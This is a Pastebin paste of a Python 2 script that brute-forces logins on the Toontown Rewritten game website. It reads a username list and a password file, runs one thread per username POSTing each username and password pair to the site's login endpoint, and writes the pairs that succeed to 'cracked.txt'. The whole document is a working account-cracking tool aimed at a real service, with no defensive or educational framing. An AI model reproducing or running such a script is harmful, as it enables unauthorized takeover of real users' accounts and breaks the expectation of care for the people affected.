Advertisement
Guest User

log

a guest
Mar 28th, 2015
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.09 KB | None | 0 0
  1. import requests
  2. import threading
  3. import time
  4.  
  5. class bruteUsers:
  6.  
  7. def __init__(self, usernameList):
  8. self.usernames = usernameList
  9. print 'Loaded %s' % len(self.usernames) + ' usernames!'
  10. self.threads = []
  11. self.passwordList = self.generatePasswordList()
  12. self.crackedAccounts = {}
  13.  
  14. def generatePasswordList(self):
  15. with open('Passwords/pwds.txt', 'r') as pwds:
  16. passes = pwds.readlines()
  17. passList = []
  18. for passw in passes:
  19. passList.append(passw.rstrip('\n'))
  20. print 'Loaded %s' % len(passList) + ' passwords!'
  21. return passList
  22.  
  23. def startBruteForce(self):
  24. #start threads
  25. openThreads = 0
  26. for username in self.usernames:
  27. thread = threading.Thread(target=self.bruteForceInstance, args = ([username]))
  28. self.threads.append(thread)
  29. for thread in self.threads:
  30. thread.start()
  31. thread = threading.Thread(target=self.keepAlive, args = ())
  32.  
  33. def keepAlive(self):
  34. for thread in self.threads:
  35. if not thread.isAlive():
  36. print 'A thread died!'
  37.  
  38.  
  39. def bruteForceInstance(self, username):
  40. passwordList = self.passwordList
  41. username = username
  42. for password in passwordList:
  43. payload = {'username' : username, 'password' : password}
  44. r = requests.post('https://www.toontownrewritten.com/login/do', data=payload)
  45. if 'Hey there,' in r.text:
  46. print 'Success!'
  47. with open('cracked.txt', 'a') as cracked:
  48. cracked.write(username + ':' + password + '\n')
  49. elif 'Your username and password didn't match up.' in r.text:
  50. #just handle this so we know its giving us what we want
  51. pass
  52. elif 'You need to verify your email first.' in r.text:
  53. print 'Unverified email for %s' % username + ':%s' % password
  54. else:
  55. print r.text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement